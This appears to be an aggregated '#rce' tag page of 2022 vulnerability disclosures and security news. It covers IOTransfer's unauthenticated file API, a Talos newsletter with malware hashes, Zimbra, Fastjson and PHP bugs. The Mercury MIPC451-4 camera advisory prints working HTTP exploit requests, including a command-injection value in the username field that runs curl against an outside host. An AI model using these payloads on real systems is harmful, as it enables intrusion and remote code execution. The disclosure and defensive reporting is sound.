In IOBit IOTransfer 4.3.1.1561, an unauthenticated attacker can send GET and POST requests to Airserv and gain arbitrary read/write access to the entire file-system (with admin privileges) on the victim's endpoint, which can result in data theft and remote code execution.

****Background****

Continuing the series about IPC vulnerabilities today we will look at another Chinese company, IObit.

IOTransfer by IObit is a program that allows the user to transfer files between their iPhone and their PC supposedly competing with apple’s iTunes. In order to operate IObit uses a node JS server for communication. The API is not obfuscated and does not contain any access control checks or any security measures at all. Understanding this communication can lead to arbitrary reading and writing to any location on the computer which can naturally lead to RCE with a bit of creativity.

****Finding the first lead****

Starting with process hacker I found that “IOtransfer” is deploying a process that listens actively over TCP. By its logo it seemed like a node.js application

AirServ listening

Going over the details available in process hacker I found that the process is running with elevated privileges

AirServ Privileges

The process was executed with a command-line ending in “iot\_filetransfer.js” and the file details revealed it’s indeed a node.js server.

AirServ command line

Looking at the structure of the folder containing AirServ.exe we can see that the API is comprised from 5 files

folder structure

After opening “iot\_filetransfer.js” I could clearly see that:

1) The file was the “main” of the API implementation

2) There is no obfuscation of the code

3) There seems to be two different types of listeners one for GET methods and one for POST methods

GET API Handler init

POST API Handler init

After making sure there is an ‘action’ parameter defined in the request the server will send the request to a dispatch function. This function is a parser for the actual requested method

Among those methods two are particularly interesting: “DOWNLOAD\_FILE”, “UPLOAD\_FILE”

****Code Review****

AirServ is using a system of tasks to execute its actions it was probably implemented this way so the server will be able to keep track of what was downloaded/uploaded and to perform actions concurrently

In order to upload/download a file, the user must specify a taskID while the userID can be anything…

In order to get a taskid the user first needs to create a new task

The task should contain the following fields:

After sending these fields with the correct request the JS server will conveniently send a new taskID as a response:

After creating the task we need to set the details for it in a follow-up request

Size -the size of the file we want to upload

Savedfilepath -The path we want to upload a file to

Fullpath -not used so it can be any string

MD5 -not checked so it can be any string

Filetype -set to 3 in order to allow path traversal

The last request is for the function “newuploadtask” with the local file we want to upload as the data.

This request will trigger the execution of the task we created coupled with the data we sent to create a file in our desired folder.

This is the complete flow I used to create a payload in the target machine:

A very similar procedure can be used to download files from any location in the target machine to a remote computer

****Conclusion****

IOTransfer’s AirServ lacks any kind of security measures. Even basic security measures such as obfuscation are not present. The fact that the service is running with ADMIN privileges is a major security hole. Blue Team personal should be aware of this and block IOTransfer communication port (7193) when not in use.

Github POC: https://github.com/tomerpeled92/CVE/blob/main/CVE-2022%E2%80%9324562

****Disclosure timeline****

24/01/2022 - disclosed vulnerabilities to Iobit

29/01/2022 - Iobit emailed us saying they will analyze the information

05/02/2022 -RCE disclosed to IOtransfer no response

07/02/2022-2nd mail sent to IOtransfer team

21/02/2022- CVE number received from MITRE for the RCE (CVE-2022–24562)

03/03/2022 -CVE numbers received from MITRE for the 4 other vulnerabilities

07/03/2022-3rd mail sent to IOTransfer team no transfer

08/03/2022 - email sent to iobit again

29/05/2022 - Final email sent to iobit containing this document

15/06/2022- Article published

CVE-2022-24562: Exploiting IOTransfer insecure API CVE-2022–24562 - Tomer Peled - Medium

By Jon Munshaw. 
Welcome to this week’s edition of the Threat Source newsletter. 
I’m still decompressing from Cisco Live and the most human interaction I’ve had in a year and a half.  
But after spending a few days on the show floor and interacting with everyone, there are a...


[[ This is only the beginning! Please visit the blog for the complete entry ]]

_By Jon Munshaw._ 

Welcome to this week’s edition of the Threat Source newsletter. 

I’m still decompressing from Cisco Live and the most human interaction I’ve had in a year and a half.  

But after spending a few days on the show floor and interacting with everyone, there are a few things that stand out to me about the state of security and what people are interested in at Cisco Live. So, I wanted to take some time to highlight a few things that stood out to me at this year’s Cisco Live. _Editor's note: The Threat Source newsletter will be on a summer break next week, so no new edition!_ 

**Don’t think about the worst **

A lot of our lightning talks at the Cisco Secure Pub this week centered around some crazy days, many of which left us scrambling — the Colonial Pipeline ransomware attack, Log4J, Kaseya, you name it. The problem is no one wants to think about how awful these days are. 

During these talks, I saw a lot of heads in the audience nodding around how we need to be prepared for the worst, but no one wants to talk about that. Who wants to be the one to predict the next Log4J? Unfortunately, it’s going to happen, we just don’t know when. That’s why things like Incident Response plans and playbooks are so important. 

You may not want to talk about the toughest day of your professional career, but it’s going to come, so we may as well embrace it and be ready. 

**A wink and a nod **

Speaking of these major incidents, it seems like a ton of major security events have happened since the last Cisco Live in person. While they were happening, it was all anyone could talk about. But in person, words like “SolarWinds” and “Kaseya” were all spoken in hush tones or were just vaguely referenced to in-person like “back then” or “the dark times.”  

If we are going to truly learn from these events, I feel like we need to speak about them openly and honestly. I try to have a judgment-free security zone because eventually, a breach is going to happen to everyone. So the point is not to shame someone when it happens, we should be discussing the lessons learned openly so we can do better next time, rather than trying to brush it under the rug. 

During these stretches, we were all busy and stressed and it made for some late nights. That’s OK, and it should be OK to talk about that, even if you’re within earshot of someone who was involved.

**We can’t replicate everything over the internet **

The future is hybrid work, there’s no doubt about it. And I’d be the first person to tell you I prefer working from home versus commuting to the office today. But I must admit — it’s tough to replicate the connections at conferences and shows over Webex. 

Meetings and 1:1 check-ins work great for virtual meeting platforms, but there’s something about just making a personal connection in-person to a stranger. I was working at the Talos booth this week and struck up a conversation with someone who worked in network operations for an NFL team. Being a huge NFL fan, I had all sorts of questions to ask about the ins and outs of his job and the organization, especially given Cisco Talos Incident Response’s recent work at the Super Bowl and NFL draft. 

Unfortunately, this isn’t something we’ve been able to capture virtually. That operations person and I exchanged information on what we’re seeing in the field, what pain points exist and even got to talking about the NFL offseason. My wife, boss and parents would be shocked to hear me say this — but I actually missed talking to people in person.    

**The one big thing **

Microsoft’s Patch Tuesday for this month included 40 high-severity vulnerabilities, including one critical issue. The most serious issue is CVE-2022-30136, a remote code execution vulnerability in the Windows Network File System (NFS) service, version NFSv4.1, with a severity score of near-maximum 9.8. An attacker can exploit the vulnerability over the network by making an unauthenticated, specially crafted call to an NFS service to execute remote code. To mitigate this vulnerability, users are advised to disable the vulnerable version NFSV4.1 and restart the NFS server or reboot the machine. 

> **Why do I care? **This month’s round of updates also includes a fix for the high-profile Follina vulnerability disclosed a few weeks ago. Attackers are actively exploiting this in the wild to deliver malware, so this is especially important to patch for immediately. Also, this release marks the official end of Internet Explorer, the Microsoft browser that’s been around for more than 25 years. As of Tuesday, Microsoft stopped officially supporting most versions of Explorer and disabled the IE desktop application. All Explorer users are encouraged to switch over to Microsoft Edge (or another web browser).   
> **So now what? **Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Cisco Secure Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. And it goes without saying, but all Microsoft users should update their products as soon as possible. 

**Other news of note**

U.S. defense contractor L3Harris is in talks to acquire the controversial Israeli tech company NSO Group, the creators of the Pegasus spyware. Pegasus is known to be used by threat actors to track unwilling targets, including activists, journalists and government leaders. This has set off alarm bells for privacy experts and those following national security, and some are even calling on the White House to preemptively block any sort of deal. NSO Group is currently on a U.S. blacklist for working “contrary to the foreign policy and national security interests of the U.S.” (The Guardian, Haaretz) 

Apple unveiled the newest version of its iOS operating system for iPhones last week, including several new security features and improvements. Users will no longer have to download standalone versions of the operating system to implement security updates, and instead, the patches will be installed automatically. Another new feature is the ability to edit and unsend iMessages. However, security and privacy experts worry this ability could allow stalkers, harassers, and abusers to contact their victims and then hide any trace of their messages, leading some people to call on Apple to change the feature. (9To5Mac, Mac Rumors) 

A newly discovered Linux malware is extremely difficult to detect while spreading silently across a network. Security researchers call this campaign “Symbiote,” and it's already been spotted in the wild. Symbiote infects running Linux processes and steals user credentials, gains rootkit functionality and installs a backdoor for remote access. Once it infects the processes, it can become difficult to detect by the typical security software, and some researchers are wondering if it’s even possible to detect this attack. (ThreatPost, Ars Technica) 

**Can’t get enough Talos? **

*   Boosting Security Resilience and Defending the IT Ecosystem
*   Businesses need to be more aggressive with their cyber security, Cisco warns
*   Cisco unveils sweeping new cloud capabilities, SASE and WAN forecasting offerings
*   Deepfake attacks expected to be next major threat to businesses  
    

  

**Upcoming events where you can find Talos **

**BlackHat** **U.S.** (Aug. 6 - 11, 2022)  
Las Vegas, Nevada 

**DEF CON U.S.** (Aug. 11 - 14, 2022)  
Las Vegas, Nevada 

**Most prevalent malware files from Talos telemetry over the past week  **

**SHA 256:** e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934  **MD5:** 93fefc3e88ffb78abb36365fa5cf857c  **Typical Filename:** Wextract    
**Claimed Product:** Internet Explorer    
**Detection Name:** PUA.Win.Trojan.Generic::85.lp.ret.sbx.tg  

**SHA 256:** 125e12c8045689bb2a5dcad6fa2644847156dec8b533ee8a3653b432f8fd5645    **MD5:** 2c8ea737a232fd03ab80db672d50a17a    **Typical Filename:** LwssPlayer.scr      
**Claimed Product:** 梦想之巅幻灯播放器      
**Detection Name:** Auto.125E12.241442.in02    

**SHA 256:** b2ef49a10d07df6db483e86516d2dfaaaa2f30f4a93dd152fa85f09f891cd049   
**MD5:** 067f9a24d630670f543d95a98cc199df **Typical Filename:** RzxDivert32.sys **Claimed Product:** WinDivert 1.4 driver   
**Detection Name:** W32.B2EF49A10D-95.SBX.TG 

**SHA 256:** c67b03c0a91eaefffd2f2c79b5c26a2648b8d3c19a22cadf35453455ff08ead0 **MD5:** 8c69830a50fb85d8a794fa46643493b2   
**Typical Filename:** AAct.exe **Claimed Product:** N/A    
**Detection Name:** PUA.Win.Dropper.Generic::1201

Threat Source newsletter (June 16, 2022) — Three top takeaways from Cisco Live

MERCURY MIPC451-4 1.0.22 Build 220105 Rel.55642n was discovered to contain a remote code execution (RCE) vulnerability which is exploitable via a crafted POST request.

**MERCURY MIPC451-4 command\_execution**

**CVE ID**:

**Vender**: MERCURY

**Vendor Homepage**: https://www.mercurycom.com.cn/

**Affect products**: MIPC451-4

**Firmware version**: 1.0.22 Build 220105 Rel.55642n

**Hardware Link**: https://service.mercurycom.com.cn/download/202109/MIPC451-4%20V2.0%E5%8D%87%E7%BA%A7%E8%BD%AF%E4%BB%B620210414\_1.0.6.zip

**Exploit Author**: SkYe231@Hillstone

**describe**

The Mercury MIPC451-4 has remote command execution, and remote attackers can bypass restrictions through carefully constructed packets to achieve remote command execution.

**detail**

Taking the mailbox name as the core filtering rule of username, the rules only filter the mailbox format (see the code comments for details), and do not filter special symbols, so there is a chance of injection.

> file:/usr/bin/dsd

/\* expect return value 1 \*/

int FUN\_00024aa4(byte \*param\_1)

{
  size\_t sVar1;
  char \*pcVar2;
  int iVar3;
  
                    /\* username is empty \*/
  if (param\_1 == (byte \*)0x0) {
    return 0;
  }
                    /\* length is 0 \*/
  sVar1 = strlen((char \*)param\_1);
  if (sVar1 == 0) {
    return 0;
  }
                    /\* Limit length<129 \*/
  if ((int)sVar1 < 129) {
                    /\* matches @ \*/
    pcVar2 = strchr((char \*)param\_1,L'@');
                    /\* no matches \*/
    if (pcVar2 == (char \*)0x0) {
      return 0;
    }
                    /\* Does it end with @ \*/
    if (param\_1\[sVar1 - 1\] != 0x40) {
                    /\* Does it start with @ \*/
      iVar3 = \*param\_1 - 0x40;
      if (iVar3 != 0) {
        iVar3 = 1;
      }
      return iVar3;
    }
  }
  return 0;
}

**EXP**

1.  Log in to the background to get **stok** (cookie)
    
        POST / HTTP/1.1
        Host: 192.168.0.103
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Content-Type: application/json; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Content-Length: 73
        Origin: http://192.168.0.103
        Connection: close
        Referer: http://192.168.0.103/
        
        {"method":"do","login":{"username":"{your_name}","password":"{your_password}"}}
        
    
2.  Trigger remote command execution
    
    > Command:curl$IFS-o-$IFS'http://192.168.0.101:9999/skye231'
    
        POST /stok=05173d0162e8c77387fa1bbc12b2fa62/ds HTTP/1.1
        Host: 192.168.0.103
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Content-Type: application/json; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Content-Length: 147
        Origin: http://192.168.0.103
        Connection: close
        Referer: http://192.168.0.103/
        
        {"cloud_config":{"bind":{"username":"\"}';curl$IFS-o-$IFS'http://192.168.0.101:9999/skye231';'{\"@mrskye.com","password":"admin123"}},"method":"do"}

CVE-2022-31849: Vuln/MERCURY_MIPC451-4/command_execution_0 at master · skyedai910/Vuln

Attackers could also potentially gain access to various internal services, researcher warns

Attackers could also potentially gain access to various internal services, researcher warns

A memcached injection vulnerability in business webmail platform Zimbra could allow attackers to steal login credentials without user interaction, security researchers have revealed.

Zimbra, an open source alternative to services including Microsoft Exchange, is used by more than 200,000 businesses and more than 1,000 government and financial institutions worldwide, according to its developer, Synacor.

Simon Scannell, vulnerability researcher at Swiss security firm Sonar (formerly SonarSource), has documented how unauthenticated attackers could poison an unsuspecting victim’s cache.

It is then possible to steal cleartext credentials from the Zimbra instance, when the mail client connects to the Zimbra server, as demonstrated in the following proof-of-concept video:

Because newline characters () were not escaped in untrusted user input, attackers could inject arbitrary memcached commands into a targeted instance and trigger an overwrite of arbitrary cached entries.

Memcached servers store key/value pairs that can be set and retrieved with a simple text-based protocol and interpret incoming data line by line.

**Escalation risk**

Zimbra users have been urged to upgrade their installations immediately, given the potential impact of successful exploitation.

**RECOMMENDED** Oblivious DNS-over-HTTPS offers privacy enhancements to secure lookup protocol

The severity of the vulnerability (CVE-2022-27924) is listed as ‘high’ (CVSS 7.5) rather than ‘critical’, but once a mailbox is breached, “attackers can potentially escalate their access to targeted organizations and gain access to various internal services and steal highly sensitive information”, Scannell warned.

“With mail access, attackers can reset passwords, impersonate their victims, and silently read all private conversations within the targeted company.”

**Continuous injections**

Attackers could poison victims’ IMAP route cache entries by ascertaining the victim’s email address – an easy enough task with OSINT methods – but the researchers also successfully deployed response smuggling to steal cleartext credentials without first obtaining this information.

“By continuously injecting more responses than there are work items into the shared response streams of Memcached, we can force random Memcached lookups to use injected responses instead of the correct response,” explained Scannell.

“This works because Zimbra did not validate the key of the Memcached response when consuming it. By exploiting this behavior, we can hijack the proxy connection of random users connecting to our IMAP server without having to know their email addresses.”

**Holding the newline**

The flaw affects both open source and commercial versions of Zimbra in their default configurations.

The flaws were reported on March 11 and an initial fix, released on March 31, failed to properly address the issue. The comprehensively patched versions are 8.8.15 with patch level 31.1 and 9.0.0 with patch level 24.1.

Catch up with the latest security research news

“Zimbra patched the vulnerability by creating a SHA-256 hash of all Memcache keys before sending them to the Memcache server,” said Scannell. “As the hex-string representation of a SHA-256 can’t contain whitespaces, no new-lines can be injected anymore.”

**Sonar disclosed the flaw on June 14.**

Scannell concluded his write-up by observing that cross-site scripting (XSS) and SQL injection flaws arising from a lack of input escaping “have been well known and documented for decades”, but that “other injection vulnerabilities can occur that are less known and can have a critical impact”.

As a consequence, Scannell recommends that developers “be aware of special characters that should be escaped when dealing with technology where less documentation and research about potential vulnerabilities exists”.

The vulnerability has emerged four months after Zimbra released a hotfix for an XSS flaw whose abuse underpinned a series of sophisticated spear-phishing campaigns linked to an unknown Chinese threat group.

Sonar also discovered a pair of Zimbra vulnerabilities last year that, if combined, allowed unauthenticated attackers to gain control of Zimbra servers.

**RELATED** Horde Webmail contains zero-day RCE bug with no patch on the horizon

Business email platform Zimbra patches memcached injection flaw that imperils user credentials

Cybersecurity researchers have detailed a recently patched high-severity security vulnerability in the popular Fastjson library that could be potentially exploited to achieve remote code execution.
Tracked as CVE-2022-25845 (CVSS score: 8.1), the issue relates to a case of deserialization of untrusted data in a supported feature called "AutoType." It was patched by the project maintainers in

Cybersecurity researchers have detailed a recently patched high-severity security vulnerability in the popular **Fastjson library** that could be potentially exploited to achieve remote code execution.

Tracked as CVE-2022-25845 (CVSS score: 8.1), the issue relates to a case of deserialization of untrusted data in a supported feature called "AutoType." It was patched by the project maintainers in version 1.2.83 released on May 23, 2022.

"This vulnerability affects all Java applications that rely on Fastjson versions 1.2.80 or earlier and that pass user-controlled data to either the JSON.parse or JSON.parseObject APIs without specifying a specific class to deserialize," JFrog's Uriya Yavnieli said in a write-up.

Fastjson is a Java library that's used to convert Java Objects into their JSON representation and vice versa. AutoType, the function vulnerable to the flaw, is enabled by default and is designed to specify a custom type when parsing a JSON input that can then be deserialized into an object of the appropriate class.

"However, if the deserialized JSON is user-controlled, parsing it with AutoType enabled can lead to a deserialization security issue, since the attacker can instantiate any class that's available on the Classpath, and feed its constructor with arbitrary arguments," Yavnieli explained.

While the project owners previously introduced a safeMode that disables AutoType and started maintaining a blocklist of classes to defend against deserialization flaws, the newly discovered flaw gets around the latter of these restrictions to result in remote code execution.

Users of Fastjson are recommended to update to version 1.2.83 or enable safeMode, which turns off the function regardless of the allowlist and blocklist used, effectively closing variants of the deserialization attack.

"Although a public PoC exploit exists and the potential impact is very high (remote code execution) the conditions for the attack are not trivial (passing untrusted input to specific vulnerable APIs) and most importantly — target-specific research is required to find a suitable gadget class to exploit," Yavnieli said.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

High-Severity RCE Vulnerability Reported in Popular Fastjson Library

In PHP versions 7.4.x below 7.4.30, 8.0.x below 8.0.20, and 8.1.x below 8.1.7, when pdo_mysql extension with mysqlnd driver, if the third party is allowed to supply host to connect to and the password for the connection, password of excessive length can trigger a buffer overflow in PHP, which can lead to a remote code execution vulnerability.

CVE-2022-31626: mysqlnd/pdo password buffer overflow leading to RCE

In PHP versions 7.4.x below 7.4.30, 8.0.x below 8.0.20, and 8.1.x below 8.1.7, when using Postgres database extension, supplying invalid parameters to the parametrized query may lead to PHP attempting to free memory using uninitialized data as pointers. This could lead to RCE vulnerability or denial of service.

Sec Bug #81720

Uninitialized array in pg\_query\_params() leading to RCE

Submitted:

2022-05-16 14:50 UTC

Modified:

2022-06-06 07:13 UTC

From:

c dot fol at ambionics dot io

Assigned:

stas (profile)

Status:

Closed

Package:

PostgreSQL related

PHP Version:

8.1.6

OS:

Private report:

No

CVE-ID:

2022-31625

 **\[2022-05-16 14:50 UTC\] c dot fol at ambionics dot io**

Description:
------------
Hello PHP team,

in PHP\_FUNCTION(pg\_query\_params), the array meant to store the char\* representation of the query parameters is allocated on the heap, but not cleared:

\`\`\`
params = (char \*\*)safe\_emalloc(sizeof(char \*), num\_params, 0);
\`\`\`

If a conversion error happens (for instance, one of the params is an object), \`\_php\_pgsql\_free\_params()\` gets called \*on the whole array\*. Since the array is not initialized, a lingering value from a previous request can get freed, leading in the end to remote code execution.

To patch, use calloc or memset-0 it.

There are other functions where you use basically the same code (if cannot convert to string, then free all params) so it might be worth a look.

Patch: 

\`\`\`
- \_php\_pgsql\_free\_params(params, num\_params);
+ \_php\_pgsql\_free\_params(params, i);
\`\`\`

Best regards,
Charles Fol
ambionics.io


Test script:
---------------
<?php

$strings = \[\];

function uenc($v)
{
    $out = '';
    for($i=0; $i<strlen($v);$i++)
    {
        $out .= '\\u' . '00' . str\_pad(dechex(ord($v\[$i\])), 2, '0', STR\_PAD\_LEFT);
    }
    return '"' . $out . '"';
}

$json = 
    '{"a": 1, "args":\[
        "A","A","A",
        {}
    \]}'
;
$c = pg\_connect('host=172.17.0.3 user=postgres password=password');

$data = json\_decode($json);

$resultXXX = pg\_query\_params($c, 'SELECT \* FROM test WHERE x NOT IN ($1)', $data->args);
// var\_dump(pg\_fetch\_all($resultXXX));

Expected result:
----------------
No crash.

Actual result:
--------------
Crash.

**Patches**

Add a Patch

**Pull Requests**

Add a Pull Request

**History**

AllCommentsChangesGit/SVN commitsRelated reports

 **\[2022-05-17 09:45 UTC\] cmb@php.net**

\-Status: Open +Status: Verified \-Assigned To: +Assigned To: cmb

 **\[2022-05-17 09:45 UTC\] cmb@php.net**

Thanks for reporting!  I can confirm the issue.  I'll have a
closer look.

 **\[2022-05-17 11:17 UTC\] c dot fol at ambionics dot io**

Cool !

I'm wondering if you also got the previous bug, #81719, related to PDO. I didn't receive a confirmation email.

 **\[2022-05-17 11:35 UTC\] cmb@php.net**

\-Assigned To: cmb +Assigned To: stas

 **\[2022-05-17 11:35 UTC\] cmb@php.net**

Proposed patch:
<https://gist.github.com/cmb69/b2b5ab0cb54a5683fe3aff4c7c09f7c2\>.

While fixing this issue, I noticed that pg\_send\_execute() tries to
convert the $params elements to string, but checks the wrong
variable (\`tmp\` instead of \`tmp\_str\`), what may cause a segfault.
The patch also fixes this.

As to whether this is actually a security issue: any potential
exploit requires the script to pass values which are not coercible
to string to the $params parameter of \`pg\_query\_params()\` or
\`pg\_send\_execute()\`.  That might be regarded as sloppy userland
programming, so I'm not sure if we classify this as security
issue.  On the other hand, the documentation is not explicit about
this conversion to string requirement (although the placeholders
hint at it).

Stas, what do you think?

> I'm wondering if you also got the previous bug, #81719, related
> to PDO.

I'll have a look at that right away.

 **\[2022-05-25 21:36 UTC\] stas@php.net**

\-CVE-ID: needed +CVE-ID: 2022-31625

 **\[2022-06-06 07:13 UTC\] git@php.net**

\-Status: Verified +Status: Closed

CVE-2022-31625: Uninitialized array in pg_query_params() leading to RCE

Microsoft SharePoint Server Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-30158.

CVE-2022-30157

Azure RTOS GUIX Studio Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-30177, CVE-2022-30179.

CVE-2022-30178

Azure RTOS GUIX Studio Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-30178, CVE-2022-30179.

Tag

#rce